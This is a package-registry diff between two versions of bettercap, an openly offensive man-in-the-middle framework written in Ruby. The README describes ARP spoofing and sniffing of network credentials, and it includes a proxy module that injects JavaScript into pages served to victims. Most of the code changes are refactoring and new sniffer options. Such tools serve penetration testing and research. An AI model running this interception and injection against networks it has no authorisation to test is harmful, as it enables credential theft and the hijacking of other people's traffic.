bettercap 1.1.1 → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
data/README.md CHANGED
@@ -1,10 +1,10 @@
1
- BETTERCAP
2
- ==
1
+ ![logo](http://www.bettercap.org/images/logo_dark.png)
3
2
 
4
- Copyleft of **Simone 'evilsocket' Margaritelli**.
5
- http://www.evilsocket.net/
3
+ Copyleft of Simone '[evilsocket](https://twitter.com/evilsocket)' Margaritelli*.
6
4
 
7
5
  http://www.bettercap.org/
6
+
7
+ [![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap)
8
8
  ---
9
9
 
10
10
  **bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic
@@ -38,7 +38,7 @@ HOST DISCOVERY + ARP MAN IN THE MIDDLE
38
38
  You can target the whole network or a single known address, it doesn't really matter, bettercap arp spoofing capabilities and its multiple hosts discovery agents will do the dirty work for you.
39
39
  Just launch the tool and wait for it to do its job ... again, [KISS!](https://en.wikipedia.org/wiki/KISS_principle)
40
40
 
41
- ![credentials](https://raw.github.com/evilsocket/bettercap/master/pics/discovery.png)
41
+ ![credentials](http://bettercap.org/images/discovery.png)
42
42
 
43
43
  CREDENTIALS SNIFFER
44
44
  ===
@@ -54,7 +54,7 @@ The built in sniffer is currently able to dissect and print from the network the
54
54
  - POP, IMAP and SMTP credentials.
55
55
  - NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
56
56
 
57
- ![credentials](https://raw.github.com/evilsocket/bettercap/master/pics/credentials.png)
57
+ ![credentials](http://bettercap.org/images/credentials.png)
58
58
 
59
59
  **Examples**
60
60
 
@@ -76,8 +76,9 @@ MODULAR TRANSPARENT PROXY
76
76
  A modular transparent proxy can be started with the --proxy argument, by default it won't do anything
77
77
  but logging HTTP requests, but if you specify a **--proxy-module** argument you will be able to load
78
78
  your own modules and manipulate HTTP traffic as you like.
79
+ You can find some example modules in the [dedicated repository](https://github.com/evilsocket/bettercap-proxy-modules).
79
80
 
80
- ![credentials](https://raw.github.com/evilsocket/bettercap/master/pics/proxy.png)
81
+ ![credentials](http://bettercap.org/images/proxy.png)
81
82
 
82
83
  **Examples**
83
84
 
@@ -89,9 +90,9 @@ Enable proxy and use a custom port:
89
90
 
90
91
  sudo bettercap --proxy --proxy-port=8081
91
92
 
92
- Enable proxy and load the module **example_proxy_module.rb**:
93
+ Enable proxy and load the module **hack_title.rb**:
93
94
 
94
- sudo bettercap --proxy --proxy-module=example_proxy_module.rb
95
+ sudo bettercap --proxy --proxy-module=hack_title.rb
95
96
 
96
97
  Disable spoofer and enable proxy ( stand alone proxy mode ):
97
98
 
@@ -134,10 +135,10 @@ class InjectJS < Proxy::Module
134
135
  if response.content_type == 'text/html'
135
136
  Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
136
137
  # get the local interface address and HTTPD port
137
- localaddr = Context.get.iface[:ip_saddr]
138
+ localaddr = Context.get.ifconfig[:ip_saddr]
138
139
  localport = Context.get.options[:httpd_port]
139
140
  # inject the js
140
- response.body.sub!( '</title>', "<script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script></title>" )
141
+ response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
141
142
  end
142
143
  end
143
144
  end
@@ -165,8 +166,10 @@ HOW TO INSTALL
165
166
  DEPENDS
166
167
  ===
167
168
 
168
- All dependencies will be automatically installed through the GEM system.
169
+ All dependencies will be automatically installed through the GEM system, in some case you might need to install some system
170
+ dependency in order to make everything work:
171
+
172
+ sudo apt-get install ruby-dev libpcap-dev
173
+
174
+ This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22).
169
175
 
170
- - colorize (**gem install colorize**)
171
- - packetfu (**gem install packetfu**)
172
- - pcaprub (**gem install pcaprub**) [sudo apt-get install ruby-dev libpcap-dev]
data/TODO.md ADDED
@@ -0,0 +1,22 @@
1
+ This is a list of TODOs I use to keep track of tasks and upcoming features.
2
+
3
+ ---
4
+
5
+ - [x] Replace PacketFu::Utils::whoami? with something else.
6
+ - [x] Capture to .pcap file.
7
+ - [x] BPF filters.
8
+ - [x] BeEF proxy module ( [BeefBOX](https://github.com/evilsocket/bettercap-proxy-modules/blob/master/beefbox.rb) ).
9
+ - [ ] ICMP Redirect.
10
+ - [ ] sslstrip
11
+ - [ ] sslmitm
12
+ - [ ] *BSD Support.
13
+ - [ ] HTTP/2 Support.
14
+ - [ ] Active packet filtering/injection/etc.
15
+
16
+ **Maybe**
17
+
18
+ - [ ] Replace webrick with thin ( proxy too? )
19
+ - [ ] DNS Spoofing ( not sure if it actually makes any sense ).
20
+ - [ ] Windows Support? ( OMG PLZ NO! )
21
+ - [ ] Output/actions as json for UI integration?
22
+ - [ ] BeefBox / BeefDRONE with Raspberry PI?
@@ -15,12 +15,7 @@ Gem::Specification.new do |gem|
15
15
  gem.add_dependency( 'packetfu', '~> 1.1.10' )
16
16
  gem.add_dependency( 'pcaprub', '~> 0.12.0' )
17
17
 
18
- gem.files = Dir.glob("lib/**/*") + Dir.glob("bin/*") + [
19
- "LICENSE",
20
- "README.md",
21
- "bettercap.gemspec",
22
- "example_proxy_module.rb"
23
- ]
18
+ gem.files = `git ls-files`.split("\n")
24
19
  gem.require_paths = ["lib"]
25
20
 
26
21
  gem.executables = %w(bettercap)
@@ -12,34 +12,9 @@
12
12
 
13
13
  =end
14
14
 
15
- require 'optparse'
16
- require 'colorize'
17
- require 'packetfu'
18
- require 'ipaddr'
19
-
20
- Object.send :remove_const, :Config rescue nil
21
- Config = RbConfig
22
-
23
- require 'bettercap/error'
24
- require 'bettercap/context'
25
- require 'bettercap/monkey/packetfu/utils'
26
- require 'bettercap/factories/firewall_factory'
27
- require 'bettercap/factories/spoofer_factory'
28
- require 'bettercap/factories/parser_factory'
29
- require 'bettercap/logger'
30
- require 'bettercap/shell'
31
- require 'bettercap/network'
32
- require 'bettercap/version'
33
- require 'bettercap/target'
34
- require 'bettercap/sniffer/sniffer'
35
- require 'bettercap/proxy/request'
36
- require 'bettercap/proxy/response'
37
- require 'bettercap/proxy/proxy'
38
- require 'bettercap/proxy/module'
39
- require 'bettercap/httpd/server'
15
+ require 'bettercap'
40
16
 
41
17
  begin
42
-
43
18
  puts BetterCap::BANNER.green.bold
44
19
  puts "\n\n\n"
45
20
 
@@ -48,7 +23,7 @@ begin
48
23
  OptionParser.new do |opts|
49
24
  opts.banner = "Usage: #{$0} [options]"
50
25
 
51
- opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options[:iface] ) do |v|
26
+ opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options[:iface].to_s ) do |v|
52
27
  ctx.options[:iface] = v
53
28
  end
54
29
 
@@ -70,15 +45,25 @@ begin
70
45
 
71
46
  opts.on( '-L', '--local', 'Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to false.' ) do
72
47
  ctx.options[:local] = true
73
- ctx.options[:sniffer] = true
48
+ ctx.options[:sniffer] = true
74
49
  end
75
50
 
76
51
  opts.on( '-X', '--sniffer', 'Enable sniffer.' ) do
77
52
  ctx.options[:sniffer] = true
78
53
  end
79
54
 
55
+ opts.on( '--sniffer-pcap FILE', 'Save all packets to the specified PCAP file ( will enable sniffer ).' ) do |v|
56
+ ctx.options[:sniffer] = true
57
+ ctx.options[:sniffer_pcap] = File.expand_path v
58
+ end
59
+
60
+ opts.on( '--sniffer-filter EXPRESSION', 'Configure the sniffer to use this BPF filter ( will enable sniffer ).' ) do |v|
61
+ ctx.options[:sniffer] = true
62
+ ctx.options[:sniffer_filter] = v
63
+ end
64
+
80
65
  opts.on( '-P', '--parsers PARSERS', 'Comma separated list of packet parsers to enable, "*" for all ( NOTE: Will set -X to true ), available: ' + ParserFactory.available.join(', ') + ' - default: *' ) do |v|
81
- ctx.options[:sniffer] = true
66
+ ctx.options[:sniffer] = true
82
67
  ctx.options[:parsers] = ParserFactory.from_cmdline(v)
83
68
  end
84
69
 
@@ -86,15 +71,21 @@ begin
86
71
  ctx.options[:arpcache] = true
87
72
  end
88
73
 
74
+ opts.on( '--no-spoofing', 'Disable spoofing, alias for --spoofer NONE.' ) do |v|
75
+ ctx.options[:spoofer] = 'NONE'
76
+ end
77
+
89
78
  opts.on( '--proxy', 'Enable HTTP proxy and redirects all HTTP requests to it, default to false.' ) do
90
79
  ctx.options[:proxy] = true
91
80
  end
92
81
 
93
82
  opts.on( '--proxy-port PORT', 'Set HTTP proxy port, default to ' + ctx.options[:proxy_port].to_s + ' .' ) do |v|
83
+ ctx.options[:proxy] = true
94
84
  ctx.options[:proxy_port] = v.to_i
95
85
  end
96
86
 
97
87
  opts.on( '--proxy-module MODULE', 'Ruby proxy module to load.' ) do |v|
88
+ ctx.options[:proxy] = true
98
89
  ctx.options[:proxy_module] = File.expand_path v
99
90
  end
100
91
 
@@ -136,18 +127,18 @@ begin
136
127
  end.parse!
137
128
 
138
129
  raise BetterCap::Error, 'This software must run as root.' unless Process.uid == 0
130
+ raise BetterCap::Error, 'No default interface found, please specify one with the -I argument.' unless !ctx.options[:iface].nil?
139
131
 
140
132
  Logger.debug_enabled = true unless !ctx.options[:debug]
141
133
 
142
134
  Logger.logfile = ctx.options[:logfile]
143
135
 
144
136
  ctx.update_network
145
-
137
+
146
138
  if ctx.options[:target].nil?
147
139
  Logger.info "Targeting the whole subnet #{ctx.network.to_range} ..."
148
140
 
149
141
  ctx.start_discovery_thread
150
-
151
142
  else
152
143
  raise BetterCap::Error, "Invalid target '#{ctx.options[:target]}'" unless Network.is_ip? ctx.options[:target]
153
144
 
@@ -156,7 +147,7 @@ begin
156
147
 
157
148
  ctx.spoofer = SpooferFactory.get_by_name( ctx.options[:spoofer] )
158
149
 
159
- Logger.info " Local : #{ctx.iface[:ip_saddr]} ( #{ctx.iface[:eth_saddr]} )"
150
+ Logger.info " Local : #{ctx.ifconfig[:ip_saddr]} ( #{ctx.ifconfig[:eth_saddr]} )"
160
151
 
161
152
  Logger.debug "Module: #{ctx.options[:spoofer]}"
162
153
 
@@ -167,23 +158,23 @@ begin
167
158
  Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
168
159
  end
169
160
 
170
- ctx.firewall.add_port_redirection( ctx.options[:iface], 'TCP', 80, ctx.iface[:ip_saddr], ctx.options[:proxy_port] )
161
+ ctx.firewall.add_port_redirection( ctx.options[:iface], 'TCP', 80, ctx.ifconfig[:ip_saddr], ctx.options[:proxy_port] )
171
162
 
172
163
  if not ctx.options[:proxy_module].nil?
173
164
  require ctx.options[:proxy_module]
174
-
175
- Proxy::Module.register_modules
176
-
165
+
166
+ Proxy::Module.register_modules
167
+
177
168
  raise BetterCap::Error, "#{ctx.options[:proxy_module]} is not a valid bettercap proxy module." unless !Proxy::Module.modules.empty?
178
169
  end
179
-
180
- ctx.proxy = Proxy::Proxy.new( ctx.iface[:ip_saddr], ctx.options[:proxy_port] ) do |request,response|
170
+
171
+ ctx.proxy = Proxy::Proxy.new( ctx.ifconfig[:ip_saddr], ctx.options[:proxy_port] ) do |request,response|
181
172
  if Proxy::Module.modules.empty?
182
173
  Logger.warn 'WARNING: No proxy module loaded, skipping request.'
183
174
  else
184
175
  # loop each loaded module and execute if enabled
185
176
  Proxy::Module.modules.each do |mod|
186
- if mod.is_enabled?
177
+ if mod.enabled?
187
178
  mod.on_request request, response
188
179
  end
189
180
  end
@@ -199,21 +190,19 @@ begin
199
190
  end
200
191
 
201
192
  if ctx.options[:sniffer]
202
- Sniffer.start ctx
193
+ Sniffer.start ctx
203
194
  else
204
- Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this will cause the MITM to run but no data to be collected.'
195
+ Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this will cause the MITM to run but no data to be collected.'
205
196
 
206
- loop do
207
- sleep 1
208
- end
197
+ loop do
198
+ sleep 1
199
+ end
209
200
  end
210
201
 
211
202
  rescue SystemExit, Interrupt
212
-
213
203
  Logger.write "\n"
214
204
 
215
205
  rescue BetterCap::Error => e
216
-
217
206
  Logger.error e.message
218
207
 
219
208
  rescue Exception => e
@@ -0,0 +1,39 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ =begin
4
+
5
+ BETTERCAP
6
+
7
+ Author : Simone 'evilsocket' Margaritelli
8
+ Email : evilsocket@gmail.com
9
+ Blog : http://www.evilsocket.net/
10
+
11
+ This project is released under the GPL 3 license.
12
+
13
+ =end
14
+
15
+ require 'optparse'
16
+ require 'colorize'
17
+ require 'packetfu'
18
+ require 'ipaddr'
19
+
20
+ Object.send :remove_const, :Config rescue nil
21
+ Config = RbConfig
22
+
23
+ require 'bettercap/error'
24
+ require 'bettercap/context'
25
+ require 'bettercap/monkey/packetfu/utils'
26
+ require 'bettercap/factories/firewall_factory'
27
+ require 'bettercap/factories/spoofer_factory'
28
+ require 'bettercap/factories/parser_factory'
29
+ require 'bettercap/logger'
30
+ require 'bettercap/shell'
31
+ require 'bettercap/network'
32
+ require 'bettercap/version'
33
+ require 'bettercap/target'
34
+ require 'bettercap/sniffer/sniffer'
35
+ require 'bettercap/proxy/request'
36
+ require 'bettercap/proxy/response'
37
+ require 'bettercap/proxy/proxy'
38
+ require 'bettercap/proxy/module'
39
+ require 'bettercap/httpd/server'
@@ -11,18 +11,24 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
  class IFirewall
13
13
  def enable_forwarding(enabled)
14
- raise 'IFirewall: Unimplemented method!'
14
+ not_implemented_method!
15
15
  end
16
16
 
17
- def forwarding_enabled?()
18
- raise 'IFirewall: Unimplemented method!'
17
+ def forwarding_enabled?
18
+ not_implemented_method!
19
19
  end
20
20
 
21
21
  def add_port_redirection( iface, proto, from, addr, to )
22
- raise 'IFirewall: Unimplemented method!'
22
+ not_implemented_method!
23
23
  end
24
24
 
25
25
  def del_port_redirection( iface, proto, from, addr, to )
26
- raise 'IFirewall: Unimplemented method!'
26
+ not_implemented_method!
27
+ end
28
+
29
+ private
30
+
31
+ def not_implemented_method!
32
+ raise NotImplementedError, 'IFirewall: Unimplemented method!'
27
33
  end
28
34
  end
@@ -11,14 +11,20 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
  class ISpoofer
13
13
  def initialize
14
- raise 'ISpoofer: Unimplemented method!'
14
+ not_implemented_method!
15
15
  end
16
16
 
17
17
  def start
18
- raise 'ISpoofer: Unimplemented method!'
18
+ not_implemented_method!
19
19
  end
20
20
 
21
21
  def stop
22
- raise 'ISpoofer: Unimplemented method!'
22
+ not_implemented_method!
23
+ end
24
+
25
+ private
26
+
27
+ def not_implemented_method!
28
+ raise NotImplementedError, 'ISpoofer: Unimplemented method!'
23
29
  end
24
30
  end
@@ -14,65 +14,69 @@ This project is released under the GPL 3 license.
14
14
  require 'bettercap/error'
15
15
 
16
16
  class Context
17
- attr_accessor :options, :iface, :ifconfig, :network, :firewall, :gateway,
17
+ attr_accessor :options, :ifconfig, :network, :firewall, :gateway,
18
18
  :targets, :spoofer, :proxy, :httpd
19
19
 
20
20
  @@instance = nil
21
21
 
22
22
  def self.get
23
- if @@instance.nil?
24
- @@instance = self.new
25
- end
26
- @@instance
23
+ @@instance ||= self.new
27
24
  end
28
25
 
29
26
  def initialize
27
+ begin
28
+ iface = Pcap.lookupdev
29
+ rescue Exception => e
30
+ iface = nil
31
+ Logger.debug e.message
32
+ end
33
+
30
34
  @options = {
31
- :iface => Pcap.lookupdev,
32
- :spoofer => 'ARP',
33
- :target => nil,
34
- :logfile => nil,
35
- :sniffer => false,
36
- :parsers => ['*'],
37
- :local => false,
38
- :debug => false,
39
- :arpcache => false,
40
-
41
- :proxy => false,
42
- :proxy_port => 8080,
43
- :proxy_module => nil,
44
-
45
- :httpd => false,
46
- :httpd_port => 8081,
47
- :httpd_path => './'
35
+ :iface => iface,
36
+ :spoofer => 'ARP',
37
+ :target => nil,
38
+ :logfile => nil,
39
+ :debug => false,
40
+ :arpcache => false,
41
+
42
+ :sniffer => false,
43
+ :sniffer_pcap => nil,
44
+ :sniffer_filter => nil,
45
+ :parsers => ['*'],
46
+ :local => false,
47
+
48
+ :proxy => false,
49
+ :proxy_port => 8080,
50
+ :proxy_module => nil,
51
+
52
+ :httpd => false,
53
+ :httpd_port => 8081,
54
+ :httpd_path => './'
48
55
  }
49
56
 
50
- @iface = nil
51
- @ifconfig = nil
52
- @network = nil
53
- @firewall = nil
54
- @gateway = nil
55
- @targets = []
56
- @proxy = nil
57
- @spoofer = nil
58
- @httpd = nil
57
+ @ifconfig = nil
58
+ @network = nil
59
+ @firewall = nil
60
+ @gateway = nil
61
+ @targets = []
62
+ @proxy = nil
63
+ @spoofer = nil
64
+ @httpd = nil
59
65
 
60
66
  @discovery_running = false
61
- @discovery_thread = nil
67
+ @discovery_thread = nil
62
68
  end
63
69
 
64
70
  def update_network
65
71
  @firewall = FirewallFactory.get_firewall
66
- @iface = PacketFu::Utils.whoami? :iface => @options[:iface]
67
72
  @ifconfig = PacketFu::Utils.ifconfig @options[:iface]
68
73
  @network = @ifconfig[:ip4_obj]
69
74
  @gateway = Network.get_gateway
70
75
 
71
76
  raise BetterCap::Error, "Could not determine IPv4 address of '#{@options[:iface]}' interface." unless !@network.nil?
72
77
 
73
- Logger.debug "network=#{@network} gateway=#{@gateway} local_ip=#{@iface[:ip_saddr]}"
78
+ Logger.debug "network=#{@network} gateway=#{@gateway} local_ip=#{@ifconfig[:ip_saddr]}"
74
79
  Logger.debug "IFCONFIG: #{@ifconfig.inspect}"
75
- Logger.debug "IFACE: #{@iface.inspect}"
76
80
  end
77
81
 
78
82
  def start_discovery_thread
@@ -83,9 +87,12 @@ class Context
83
87
  while @discovery_running
84
88
  empty_list = false
85
89
 
86
- if @targets.size == 0 and !@options[:arpcache]
90
+ if @targets.empty? and !@options[:arpcache]
87
91
  empty_list = true
88
92
  Logger.info 'Searching for alive targets ...'
93
+ else
94
+ # make sure we don't stress the logging system
95
+ sleep 10
89
96
  end
90
97
 
91
98
  @targets = Network.get_alive_targets self
@@ -102,9 +109,11 @@ class Context
102
109
 
103
110
  def stop_discovery_thread
104
111
  @discovery_running = false
112
+
105
113
  if @discovery_thread != nil
106
114
  Logger.info 'Stopping network discovery thread ...'
107
115
 
116
+ # I doubt this will ever raise an exception
108
117
  begin
109
118
  @discovery_thread.join
110
119
  rescue
@@ -115,13 +124,14 @@ class Context
115
124
  def finalize
116
125
  stop_discovery_thread
117
126
 
127
+ # Consider !!@spoofer
118
128
  if !@spoofer.nil?
119
129
  @spoofer.stop
120
130
  end
121
131
 
122
132
  if !@proxy.nil?
123
133
  @proxy.stop
124
- @firewall.del_port_redirection( @options[:iface], 'TCP', 80, @iface[:ip_saddr], @options[:proxy_port] )
134
+ @firewall.del_port_redirection( @options[:iface], 'TCP', 80, @ifconfig[:ip_saddr], @options[:proxy_port] )
125
135
  end
126
136
 
127
137
  if !@firewall.nil?
@@ -132,4 +142,4 @@ class Context
132
142
  @httpd.stop
133
143
  end
134
144
  end
135
- end
145
+ end